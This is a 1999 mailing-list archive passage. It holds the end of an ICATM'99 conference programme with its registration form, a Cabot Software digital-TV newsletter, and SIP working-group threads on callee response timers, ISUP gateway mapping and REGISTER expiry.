G. Seres, T. Elteto, A. Olah, Ericsson telecommunications, Hungary

On the Efficiency of Packet telephony over IP and ATM
M. Baldi, F. Risso, Polytechnic of Torino, Italy

10:30 - 11:00 Coffee Break

11:00 - 12:30 Traffic Control
Chair: D. Kofman

Networks Performance Based Connection Admission Control Model in ATM
Networks: Immediate and Future Reservation Approaches
M. Nour, University of Montreal, Canada ; A. Hafid University of Western
Ontario, Canada ; M. Gendreau, University of Montreal, Canada

Validating novel CAC algorithms on ATM testbeds
J. Levendovszky, Z. Elek, C. Vegso, Technical University of Budapest, Hungary

The Design of an Object-Oriented Simulation Tool for Evaluating ATM Network
Resource Control Scheme
J. Soldatos, D. Vergados, E. Vayias, N. Mitrou, National Technical
University of Athens, Greece

11:00 - 12:30 IP over ATM 2
Chair: F. Vanney

A Framework for Testing IP QoS over ATM Networks: Implementation and
Practical Experiences
N. Kroth, L. Mark, J. Tiemann, GMD, Germany

A Study on Advanced Asynchronous Transfer Mode for High-Speed Computer
Communication Networks
K. Toyoshima, K. Hayashi, NTT, Japan

VTOA/VoIP/ISDN Telephony Gateway
A.M. Grilo, P.M. Carvalho, L.M. Medeiros, M.S. Nunes, INESC, Portugal

12:30 - 14:00 Lunch - Restaurant Universitaire

14:00 - 15:30 Quality of Service
Chair: A. Benslimane

Efficient Buffer Management and Scheduling in a Combined IntServ and
DiffServ Architecture: a Performance Study
G. Mamais, M. Markaki, G. Politis, I.S. Venieris, National Technical
University of Athens, Greece

Interaction of RSVP with ATM for the Support of Shortcut QoS Virtual Channels
R. Cocca, S. Salsano, CoRiTeL, Italy ; M. Listanti, University of Rome, Italy

Interactive Services over HFC Networks
M.I. Borges Ribeiro, F. Fontes, J. Bastos, J. Loureiro, Portugal Telecom,
Portugal

14:00 - 15:30 IP over ATM 3
Chair: M. Stuttgen

Analysis on IP Label Switching Technology in Future Broadband Internet
G.S. Kuo, H.C. Cheng, National Central University, Taiwan

Analysis of Internet Services in IP over ATM Networks
J. Aracil, M. Izal, D. Morato, University of Navarra, Spain

Simulation and Analysis of IP/ATM Switching and Routing
M.Z. Santos, L.G. Kiatake, F. Meylan, S.T. Kofuji, University of Sao Pailo,
Brazil ; J.P. Coutiat, LAAS-CNRS, France

15:30 - 15:45 Coffee Break

15:45 - 17:15 Scheduling
Chair: R. Muraine

Flow Service Order: A Computationally Inexpensive Packet Scheduling
Algorithm to Guarantee QoS for Real-Time Traffic
S.R. Kulkarni, Indian Institute of Technology, India

A Feasible Scheduling Algorithm for Per-VC Queuing ATM Switches
P. Zhou, W.W. Yang, Nortel Networks, Canada

Digital Neural Cell Schedulers for ATM Switch
S.M. Lee, J.H. Chung, Y.C. Kim, M.M. Lee, Dongshin University, Korea

15:45 - 17:15 User Applications
Chair: M. Potts

ATM-Based Infrastructure for Teleteaching at University
A. Klein, F. Bodendorf, University of Erlangen-Nuremberg, Germany

Desktop Videoconferencing Performance and Quality of Service Evaluation on
an ATM-based Metropolitan Area Network: OASICE Case Study
H. Tobiet, Clemessy, France ; P. Lorenz, University of Haute Alsace, France

Connecting Heterogeneous Supercomputers in Broadband Networks
E. Pless, F. Hommes, GMD, Germany

17:15 - 17:30 Coffee Break

17:30 - 19:00 Management and multiplexing
Chair: Z. Mammeri

A Management System Providing Real Distribution of Management Tasks with
Time and Space Independence
F. Fontes, Portugal Telecom, Portugal ; T. De Miguel, A. Azcorra,
University of Madrid, Spain

Implementing Inverse Multiplexing for ATM
A. Pires, Mitel Corporation, Canada

The Heap-Sort Based ATM Cells Spacer
T. Ha-Duong, MET, France

17:30 - 19:00 Protocols and Routing
Chair: P. Droz

Minimum Equivalent Subspanner Algorithms for Topology Aggregation in ATM
Networks
W. Chiou Lee, Motorola, USA

Shared-Medium Architecture for ATM Local Network
M. Soto, S. Sallent, Polytechnic University of Catalonia, Spain

Analysis of the Crankback Probability in a Hierarchical PNNI Network
J.L. Rougier, D. Kofman, ENST, France ; A.R. Ragozini, University of
Napoli, Italy ; A. Gravey, CNET, France

20:00 Gala Dinner - Restaurant Meistermann

Wednesday June 23

09:00 - 10:30 Intelligent Networks
Chair: P. Lorenz

Design and Implementation of an Intelligent Peripheral for Broadband
Multimedia Applications
H. Brandt, P. Todorova, GMD, Germany

A TINA-Based Platform for Service Deployment and Usage
J. P.C. Verhoosel, Telematics Institute, The Netherlands ; H.J. Batteram,
J.L. Bakker, Lucents Technologies, The Netherlands

Performance of the fair Intelligent Congestion Control for TCP Applications
over ATM Networks
D.B. Hoang, Q. Yu, University of Sydney, Australia

09:00 - 10:30 ATM Switches 1
Chair: Z. Hulicki

RCES: A Replication/Contention/Elimination Strategy for Replication
Baseline ATM Switch Architectures
S.T. Sheu, Y.R. Chuang, TamKang University, China

Advanced Frame Recovery in Switched Connection Inverse Multiplexing for ATM
F.M. Chiussi, D.A. Khotimsky, S. Krishnan, Lucent Technologies, USA

Implementation of an ATM Switch for PSTN/N-ISDN Services
X. Gong, P. Zhang, W. Wang, S. Cheng, university of Posts and Telecom, China

10:30 - 11:00 Coffee Break

11:00 - 12:30 Error Detection and Correction
Chair: O. Charles

Implementation of an Error Detection-Recovery System based on Multimedia
Collaboration Works: EDRS
E.N. Ko, Sung Kyun Kwan University, South Korea

New Error Control Enhancing Technique for Wireless ATM Networks
M.M. Al-Khatib, M. Bayoumi, USL, USA

A Parallel Reed-Solomon Coding/Decoding Structure for an ADSL Modem with
Increased Interleaving for ATM Applications
S. Toptchiyski, D. Sofos, V. Stylianakis, University of Patras, Greece

11:00 - 12:30 ATM Switches 2
Chair: S. Ritzenthaler

An Efficient Address Assignment Strategy for Shared Multibuffer ATM Switches
P.G. Lee, W.C. Kang, Y.H. Choi, Hongik University, Korea

Implementation of Bifurcated Buffering in Input Buffer Banyan ATM Switch
I.D. Radusinovic, Z.R. Petrovic, M.Pejanovic-Djurisic, University of
Montenegro, Yugoslavia

An Approximate Analysis of a Shared Buffer ATM Switch using Input Process
Aggregation Technique
J.Kim, C.H. Jun, Pohang University of Science and Technology, Korea ; K.P.
Jun, Electronics and Telecommunications Research Institute, Korea

12:30 - 14:00 Lunch - Restaurant Universitaire

14:00 - 16:00 Performance
Chair: H. Tobiet

Performance Evaluation of a RR Switch for ABR Service
D.H. Kim, Y.Z. Cho, Kyungpook National University, Korea

Performance Models for IP Switching
J. Zheng, V.O.K. Li, University of Hong Kong, Hong Kong

Inverse Multiplexing for ATM Operation, Applications and Performance
Evaluation Issues
M. Aguilar-Igartua, J. Garcia-Haro, M. Postigo-Boix, Polytechnic University
of Catalonia, Spain

Performance Evaluation of Packet Discard Schemes in ATM Switches in
Heterogeneous Traffic Environment
Z. Jing, L. Li, University of Electronic Science and Technology, China ; H.
Sun, Center for Advanced Computing and Communications, China

14:00 - 16:00 Video over ATM
Chair: J. Montiel

Error Resilient Protocol Architecture for the MPEG-2 Video Transmission
over ATM Networks
P. Cuenca, A. Garrido, F. Quiles, University of Castilla-La Mancha, Spain ;
L. Orozco-Barbosa, University of Ottawa, Canada

De-Jittering in the transport of MPEG-4 and MPEG-2 Video over ATM
K. Shuaib, T. Saadawi, M. Lee, City College of New York, USA, B. Basch, GTE
Laboratories, USA

Proactive Management of MPEG Traffic in ATM Networks using Time Sequenced
RLS Filters
T.S. Randhawa, British Columbia Group, Canada ; R.H.S. Hardy, Simon Fraser
University, Canada

Linear Codes for End to end Cell Loss Recovery in VBR Video Transmission
over ATM Networks
Z. Alkhalifa, V.S.S. Nair, Southern Methodist University, USA

16:00 Closing Session

	ICATM'99 Registration Form
	Please mail the complete Registration Form to :
	Pascal LORENZ / ICATM'99
	IUT/GTR - 34 rue du Grillenbreit - 68008 Colmar, France
	Phone : 33 (0)3 89 20 23 66   Fax : 33 (0)3 89 20 23 59   Mobile: 33 (0)6
03 65 80 42
	Email : lorenz@colmar.uha.fr


Title: _______ First Name: _____________ Last Name: ______________________ 

Institution: ___________________________________________________________ 

Street Address: ________________________________________________________ 

City: __________ State: ____________ Zip: ___________ Country: ____________ 

Phone: ____________________________ Fax: ______________________________ 

Email : ____________________________ 

Arrival Date :     ____ June 1999 at _____ 
Departure Date :   ____ June 1999 at _____ 

Conference Registration Fees: 

The Full registration fees include: attendance to the Conference, coffee
breaks, 3 lunches, the gala dinner and the preprints. 

Academic rate:                

IEE, IEEE, SEE Member                    2400 FF                      
_________ FF 
(Membership # __________) 

non member                               2600 FF                      
__________ FF 

Industry rate:                           4000 FF                      
__________ FF 

Additional Conference Proceedings (FF 400):                           
__________FF 

Additional Gala Dinner (FF 300):                                      
__________FF 
  

                                   Total French Francs ..............  
_________ 

Payment of Fees: 

__ By Foreign Check in French Francs to "Office du Tourisme de Colmar". 

__ By Bank Transfer to: Caisse d'Epargne d'Alsace, Avenue de la République,
68000 Colmar - France. Bank code: 16705 - Counter code: 09017 - Account
number: 04100568821 - Key: 23 - Account name: Office du Tourisme de Colmar
- Transfer Swift : BFCE FR PP 317 

__ By Credit Card: 
     __ Mastercard 
     __ Visa 
     __ American Express 

Card number: _________________________ 
Expiration date: _________ 

Signature: 
  





From confctrl-owner  Wed Apr  7 10:42:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA05489
	for confctrl-outgoing; Wed, 7 Apr 1999 10:42:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA05484
	for <confctrl@zephyr.isi.edu>; Wed, 7 Apr 1999 10:42:01 -0700 (PDT)
Received: from jaguars.cableinet.net (jaguars-int.cableinet.net [193.38.113.9])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA12120
	for <confctrl@isi.edu>; Wed, 7 Apr 1999 10:41:59 -0700 (PDT)
Message-Id: <199904071741.KAA12120@tnt.isi.edu>
Received: (qmail 2229 invoked from network); 7 Apr 1999 17:21:00 -0000
Received: from unknown (HELO usr160-haw.cableinet.co.uk) (194.117.146.88)
  by jaguars with SMTP; 7 Apr 1999 17:21:00 -0000
From: newsletter <newsletter@cabot.co.uk>
To: "Cabot Software Newsletter" <newsletter@cabot.co.uk>
Date: Wed, 7 Apr 1999 18:04:57 +0100
X-Distribution: Bulk
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Cabot Software's Spring '99 Newsletter
Reply-to: newsletter@cabot.co.uk
Priority: normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

CABOT SOFTWARE SPRING '99 NEWSLETTER

CABOT'S LATEST IDEAS AND PRODUCTS:
FOR DIGITAL TV

---------------
INDEX
---------------

* DOTRANS - Internet to Digital TV software product

* MHEG-5 SOURCE CODE - Price breakthrough for source code

* DOLITTLE - World's first universal authoring tool

* PRINTER DRIVERS - Drivers for set top boxes

* DATA BROADCASTING - via satellite provides faster and
  cheaper data transmission

--------------------------------------------------------------------------
DOTRANS: An Internet to Digital TV Productivity Tool
--------------------------------------------------------------------------

Cabot claims another world first with Dotrans (short for Dolittle 
Translator) a software translator which converts HTML into MHEG-5 
for Digital TV developers. ONdigital has chosen MHEG-5 as the 
software standard for Digital Terrestrial TV.

Dotrans enables content from the Web and Portals to be converted 
from HTML pages to MHEG-5 scenes and then broadcast for the 
Digital TV terrestrial network.

"Dotrans is the first of a family of productivity tools aimed 
specifically at reducing the cost of producing interactive content 
for the Digital TV market" states Kenneth Helps, Managing 
Director of Cabot Software.  

Developers will be able to produce content with their favourite HTML
development tool and then using Dotrans convert the HTML content 
into MHEG5.

Dotrans is the ideal product for advertising agencies, broadcasters,
content providers, Web site authors and multimedia developers to 
help reduce time and conversion costs, when creating content for 
Digital Terrestrial TV.

Dotrans is supplied with a graphical interface, tour guide to MHEG-
5 and HTML, help screens, a colour coding feature to identify text 
converted and a guide on converting GIF images to the new WEB 
and Digital TV standard PNG image format.

Dotrans is available for MS Windows and Windows NT, costing 130 
UK Pounds plus delivery and VAT.  Dotrans can be ordered from 
Cabot's web site http://www.cabot.co.uk or via Cabot's sales desk.

Screen shots, an operational schematic of Dotrans 
and a detailed fact sheet are available via Cabot's 
web site 

---------------------------------------------------------------
MHEG-5 Source Code for 1,000 UK Pounds
---------------------------------------------------------------

MHEG-5 used to sell for 150,000-200,000 UK Pounds, now Cabot 
has followed Sun Microsystems in offering low cost affordable 
source code.

Cabot's MHEG-5 product complete with source code (67,000 lines 
of 'C' code) for an amazing 1,000 UK Pounds or $1600.  Royalty 
payments of 1.50 UK Pounds or $2.50 per unit.  See Web site for 
full details

----------------------------------------------------------------------
DOLITTLE: Universal Authoring Tool for Digital TV
----------------------------------------------------------------------

In a major breakthrough, the Bristol based company Cabot 
Software has designed and is developing the world's first universal 
authoring tool for digital TV, aimed at multimedia software 
developers of interactive advertising and other enhanced TV content.

In the past, advertising agencies, corporate advisers, multimedia 
developers and broadcasters have had to develop interactive 
content separately for each technical platform used by satellite, 
cable and terrestrial broadcasters - because each of these 
platforms is incompatible with the others.

Dolittle, Cabot's universal authoring tool, enables a developer to 
create an interactive advertisement or application just once, and 
then run it on any UK broadcast platform - including satellite 
(OpenTV's software), terrestrial (MHEG-5) or cable (HTML-based) - 
all at the touch of a keystroke.

Dolittle is graphical and Windows-based, making it extremely easy 
to use, and will be available to run on MS Windows and Windows 
NT.  

Full operational details of Dolittle are under wraps until the release
date in September 1999. 

----------------------------------------------------------------
PRINTER DRIVERS FOR SET TOP BOXES
----------------------------------------------------------------

Cabot has teamed up with a world leader in developing printer driver
technology for Digital TV receivers and is currently in discussion 
with Canon & Epson to provide a low cost inkjet printer for the DTV 
consumer market.

Cabot now offers a range of printer driver development technology, 
which can be used for Digital TV set top boxes.

Contact Ken Helps for pricing options on developing a printer driver
for your set top box.

--------------------------------------------------------------------------
DATA BROADCASTING VIA SATELLITE: CABOT 
COMMUNICATIONS
--------------------------------------------------------------------------

Cabot Software has a sister company called Cabot 
Communications. Cabot Communications is a service provider for 
Astra-Net. We provide business services for data broadcasting of 
information across Astra satellite platforms.  

Satellites provide the ideal platform for multimedia and data
distribution, offering flexible and cost effective solutions to a variety
of corporate and service provider requirements.  Benefits include low
cost; an industry standard interface to the client's computer 
system; technology ideally suited to match the demand for fast, 
reliable data transmission; one to any number of users across 
Europe can be addressed instantly and simultaneously. 

ASTRA-NET is an open and neutral communications platform, 
which uses the Astra Satellite System for the transmission of a 
wide range of broadband satellite services across Europe. This can 
be directly to PCs in businesses and homes, at substantially 
accelerated speeds (up to 6.5 Mbit/s to individual PCs), compared 
to standard telephone or ISDN lines. 


CABOT COMMUNICATIONS specialises in providing a complete 
"end to end system" for data and multimedia communications via 
digital satellite. Its link with Astra means Cabot Communications 
can offer cost effective and reliable satellite based solutions, to 
increasingly sophisticated corporate communications 
requirements. 

If you require any further information please contact Diane Liddicoat 
at Diane.Liddicoat@cabot.co.uk

--------------------	
CONTACT US
--------------------

Mail:  1-4 Portland Square, Bristol, BS2 8RR, England
Telephone:  0117 944 2454 
International:  +44 117 944 2454 
Fax:  0117 944 2457 
E-mail:  Ken.Helps@cabot.co.uk
            Stephen.Tufnell@cabot.co.uk

Web Site: http://www.cabot.co.uk

To subscribe or unsubscribe send E-mail to: 
Christine.Dawes@cabot.co.uk.


From confctrl-owner  Mon Apr 12 13:13:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA10672
	for confctrl-outgoing; Mon, 12 Apr 1999 13:13:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA10667
	for <confctrl@zephyr.isi.edu>; Mon, 12 Apr 1999 13:13:52 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA00291
	for <confctrl@ISI.EDU>; Mon, 12 Apr 1999 13:13:51 -0700 (PDT)
Received: from omta2.mcit.com (omta2.mcit.com [166.37.204.3])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id UAA32506 for <confctrl@ISI.EDU>; Mon, 12 Apr 1999 20:12:45 GMT
Received: from localHost ([166.35.151.149]) by omta2.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990412201302.JFRB31194@localHost> for <confctrl@ISI.EDU>;
          Mon, 12 Apr 1999 15:13:02 -0500
Date: Mon, 12 Apr 1999 15:11 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: confctrl@ISI.EDU
Subject: Behavior of SIP Callee user agent
Message-Id: <19990412201302.JFRB31194@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 I was reviewing the RFC to try and determine if there are any time
constraints imposed on a User Agent which receives an Invite that it
must respond by, but was unable to find anything.  Is there something
defined that I missed?  Or could we consider that the callee's User
Agent could be just waiting for a human to pick up the phone, for example,
assuming the device is not configured to automatically send a 180 Ringing.

 The reson I am looking at this is in an interworking scenario on an
ANSI ISUP gateway.  I want to decide if such a gateway should start the
T11 timer and send back an ACM on it's own when it expires, or wait
for the ISUP side's T7 timer (ACM timeout) to expire and send a release
to the gateway.  ANSI T1.113.4 in section 2.1.4.7 says "If in normal
operation, a delay in the receipt of an address complete signal from
the succeeding exchange is expected [i.e. a SIP 1xx or 200], the last
common channel signalling exchange shall originate and send an Address
Complete Message 15 to 20 seconds (T11) after receiving the Initial
Address Message."

 The call scenario I am considering looks like this:

ISUP User A         PSTN Gateway            SIP User B
-----------         ------------            ----------

IAM --------------->
                    Invite ---------------->
                                            User does not respond
                                            within Gateway's T11 time.
    <-------------- ACM

 Not shown in the messaging above is the retransmitted Invites by the
gateway to User B based on exponential backoff of SIP timer T1.  This
scenario would give User B time until 7 Invites were transmitted before
the session is torn down by the gateway.

 The alternative in this scenario is that the session would get torn
down when the ANSI ISUP T7 timer expired (20-30 seconds per ANSI):

ISUP User A     PSTN Gateway        SIP User B
-----------     ------------        ----------

IAM --------------->
                    Invite -------------->
                                           User does not respond
                                           within User A's T7 time.
REL --------------->
                    BYE ----------------->
                    <--------------------- OK


 So bottom line, did I miss something in the RFC, or are callee time
constraints missing but needed in the RFC, or do we add time constraints
to a best practices companion RFC?  I realize the best thing for the
callee to do would be send back a 180 Ringing when taking the human
interaction time into account, but didn't see that required anywhere,
and in fact examples abound where 200 is the only response sent.  

John Hearty
MCI Worldcom


From confctrl-owner  Mon Apr 12 13:47:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA12015
	for confctrl-outgoing; Mon, 12 Apr 1999 13:47:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA12010
	for <confctrl@zephyr.isi.edu>; Mon, 12 Apr 1999 13:47:47 -0700 (PDT)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA02998
	for <confctrl@ISI.EDU>; Mon, 12 Apr 1999 13:47:46 -0700 (PDT)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id UAA21072 for <confctrl@ISI.EDU>; Mon, 12 Apr 1999 20:44:02 GMT
Received: from localHost ([166.35.151.149]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990412204703.IXLN14456@localHost> for <confctrl@ISI.EDU>;
          Mon, 12 Apr 1999 15:47:03 -0500
Date: Mon, 12 Apr 1999 15:47 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: confctrl@ISI.EDU
Subject: Re: Behavior of SIP Callee user agent
Message-Id: <19990412204703.IXLN14456@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 Well, never mind.  I found reference that the user agent SHOULD respond
with a 1xx as soon as possible if it can't give a final response within
200 ms.  This begs the question of what message(s) should map back to
an ACM on ISUP.  Any 1XX?  Just 180?  Based on the fact that the RFC
says a 1xx should be sent back without specifying a particular 1xx,
it seems any 1xx could come back and should map to an ACM to prevent
the ANSI T7 timer from expiring thus tearing down the call.

 That brings up the issue of what a PSTN originator will hear.  If
a 100 Trying maps to an ACM, it would seem the originator would hear
dead air unless some requirements were defined for gateways to send
ringback when 100 Trying was received and mapped to an ACM.

 This also gets into the question of audio cut through before a final
response, which I am waiting for feedback on and so will not discuss
further here (don't want to confuse things too much).

 Comments?


John Hearty
MCI Worldcom



Date: Mon, 12 Apr 1999 15:11 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
To: confctrl@ISI.EDU
Subject: Behavior of SIP Callee user agent


 I was reviewing the RFC to try and determine if there are any time
constraints imposed on a User Agent which receives an Invite that it
must respond by, but was unable to find anything.  Is there something
defined that I missed?  Or could we consider that the callee's User
Agent could be just waiting for a human to pick up the phone, for example,
assuming the device is not configured to automatically send a 180 Ringing.

 The reson I am looking at this is in an interworking scenario on an
ANSI ISUP gateway.  I want to decide if such a gateway should start the
T11 timer and send back an ACM on it's own when it expires, or wait
for the ISUP side's T7 timer (ACM timeout) to expire and send a release
to the gateway.  ANSI T1.113.4 in section 2.1.4.7 says "If in normal
operation, a delay in the receipt of an address complete signal from
the succeeding exchange is expected [i.e. a SIP 1xx or 200], the last
common channel signalling exchange shall originate and send an Address
Complete Message 15 to 20 seconds (T11) after receiving the Initial
Address Message."

 The call scenario I am considering looks like this:

ISUP User A         PSTN Gateway            SIP User B
-----------         ------------            ----------

IAM --------------->
                    Invite ---------------->
                                            User does not respond
                                            within Gateway's T11 time.
    <-------------- ACM

 Not shown in the messaging above is the retransmitted Invites by the
gateway to User B based on exponential backoff of SIP timer T1.  This
scenario would give User B time until 7 Invites were transmitted before
the session is torn down by the gateway.

 The alternative in this scenario is that the session would get torn
down when the ANSI ISUP T7 timer expired (20-30 seconds per ANSI):

ISUP User A     PSTN Gateway        SIP User B
-----------     ------------        ----------

IAM --------------->
                    Invite -------------->
                                           User does not respond
                                           within User A's T7 time.
REL --------------->
                    BYE ----------------->
                    <--------------------- OK


 So bottom line, did I miss something in the RFC, or are callee time
constraints missing but needed in the RFC, or do we add time constraints
to a best practices companion RFC?  I realize the best thing for the
callee to do would be send back a 180 Ringing when taking the human
interaction time into account, but didn't see that required anywhere,
and in fact examples abound where 200 is the only response sent.  

John Hearty
MCI Worldcom


From confctrl-owner  Mon Apr 12 21:01:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA28691
	for confctrl-outgoing; Mon, 12 Apr 1999 21:01:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA28686
	for <confctrl@zephyr.isi.edu>; Mon, 12 Apr 1999 21:01:08 -0700 (PDT)
Received: from tapti.hss.hns.com (tapti.hss.hns.com [139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA05211
	for <confctrl@ISI.EDU>; Mon, 12 Apr 1999 21:00:22 -0700 (PDT)
Received: from hss068.hss.hns.com (archow@hss068.hss.hns.com [139.85.229.168])
	by tapti.hss.hns.com (8.8.8/8.8.8) with ESMTP id KAA03449;
	Tue, 13 Apr 1999 10:18:29 +0530 (IST)
Date: Tue, 13 Apr 1999 09:26:30 +0530 (IST)
From: Arjun RC <archow@hss.hns.com>
To: John_Hearty <Hearty@wcom.com>
cc: confctrl@ISI.EDU
Subject: Re: Behavior of SIP Callee user agent
In-Reply-To: <65256751.00800795.00@sampark.hss.hns.com>
Message-ID: <Pine.LNX.4.05.9904130915140.28572-100000@hss068.hss.hns.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi John,

John> 200 ms.  This begs the question of what message(s) should map back to
John> an ACM on ISUP.  Any 1XX?  Just 180?  Based on the fact that the RFC
John> says a 1xx should be sent back without specifying a particular 1xx,

I dont know much about the exact PSTN side signalling, but once the INVITE
message reaches the other side, If my callee cannot currently process the
invite message right away, Id used the 182 - Queued Call. In the case that
the proxy SIP server is trying to reach the callee, it returns 100 Trying
to the caller and subsequently, 180 -- Ringing. What this would translate
to is that while its Trying, the caller gets a "beep beep" sound which is
usually heard when the call is trying to reach the destination (at least
that is what we hear in the PSTN here -- sorry if it sounds so naive, but
thats my knowleldge of PSTN :-p). Once the called destination is reached
and a 180--Ringing is returned, the PSTN user hears the usual ring.


John> dead air unless some requirements were defined for gateways to send

The dead air that the PSTN user might hear is probably whwn the call is
Queued to begin processing, which should not be long.

I might be totally worong, but this is my understanding.

Cheers
ARC


We are Pentium of Borg. Division is futile. You will be
approximated.
------------------------------+----------------------------------+
(O): Hughes Software Systems  |(R): 68/G, 2nd Narayanappa Block, |
146, Prestige Opal Bldng,     |R.T. Nagar,                       |
Infantry Rd, Bangalore-560001 |Bangalore-560032                  |
Ph:+91-80-2286390/91/92       |Ph:+91-80-3430565                 |
------------------------------+----------------------------------+
http://arjun.cjb.net, http://hss068.hss.hns.com (intra HSS)



From confctrl-owner  Mon Apr 12 21:11:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA28993
	for confctrl-outgoing; Mon, 12 Apr 1999 21:11:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA28988
	for <confctrl@zephyr.isi.edu>; Mon, 12 Apr 1999 21:11:18 -0700 (PDT)
Received: from tapti.hss.hns.com (tapti.hss.hns.com [139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA05623
	for <confctrl@ISI.EDU>; Mon, 12 Apr 1999 21:11:14 -0700 (PDT)
Received: from hss068.hss.hns.com (archow@hss068.hss.hns.com [139.85.229.168])
	by tapti.hss.hns.com (8.8.8/8.8.8) with ESMTP id KAA05114
	for <confctrl@ISI.EDU>; Tue, 13 Apr 1999 10:32:14 +0530 (IST)
Date: Tue, 13 Apr 1999 09:40:09 +0530 (IST)
From: Arjun RC <archow@hss.hns.com>
To: confctrl@ISI.EDU
Subject: BYE, REGISTER, call termination
Message-ID: <Pine.LNX.4.05.9904130927320.29251-100000@hss068.hss.hns.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
I have a few doubts after reading the SIP rfc.

1. The RFC mentions that if a user's registration expires, the SIP Server
must _silently_ remove his/her registration.

But what does this amount to ? Assuming the case in which A & B are
talking and A's registration expires, once the SIP Server removes his
registration, does it also Break the call ? If not, then A could start a
call just 1 min away from his expiry time and continue till hours without
disconnecting. So what is the usual policy that most implementors have
used ?

2. The second is to do with register refreshes. Assume that A & B are in a
conversation. If A crashes, B can detect the crash when it does not get
any packets from A and issue a BYE which can tell the SIP Server that the
call b/w the two must be terminated and it proceeds to removr any state it
maintains for the two.
The problem arises when both A & B both crash at the same time. If this
happens, the BYE cannot be initiated and how does the SIP Server know when
to do any processing to close the call record ? One way would be to force
each client to timeout after say X secs. after which it must refresh its
registration. But this would mean
	a) Each client after X secs has to send a refresh to the SIP
Server -- for a lot of clients, its a lot of packets transmitted.
	b) The fact that the SIP Server forces each client to TimeOut and
refresh after X secs means that if a client wants to Expire after say,
7200 seconds, the SIP Server does not honour it, and instead asks him to
timeout after X secs. I want the Server to honour client specified expiry
time if it can.

3. Finally, what is the usual philosophy of REGISTER expiry ? I know
diffenrt implementors can have different philosophies, but I wanted a feel
of what the usual practics is -- does the SIP SErver use the REGISTER
expiry as a time-limiting factor for a client after which it can deny
service to the client (useful in cases where I give a client free time or
1 hr, and then ask him to pay up for service) or is it simply a client
facilitator in which the client can keep extending the REGISTER as and
when he pleases ?

Sorry if these are too many Qs, but these are the problems I am facing
right now :-)

Cheers
ARC

I may be inconsistent, but not all the time.
------------------------------+----------------------------------+
(O): Hughes Software Systems  |(R): 68/G, 2nd Narayanappa Block, |
146, Prestige Opal Bldng,     |R.T. Nagar,                       |
Infantry Rd, Bangalore-560001 |Bangalore-560032                  |
Ph:+91-80-2286390/91/92       |Ph:+91-80-3430565                 |
------------------------------+----------------------------------+
http://arjun.cjb.net, http://hss068.hss.hns.com (intra HSS)



From confctrl-owner  Mon Apr 12 22:38:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA02551
	for confctrl-outgoing; Mon, 12 Apr 1999 22:38:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA02546
	for <confctrl@zephyr.isi.edu>; Mon, 12 Apr 1999 22:38:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA09049
	for <confctrl@isi.edu>; Mon, 12 Apr 1999 22:38:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue Apr 13 01:37:40 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.200.58])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA01797;
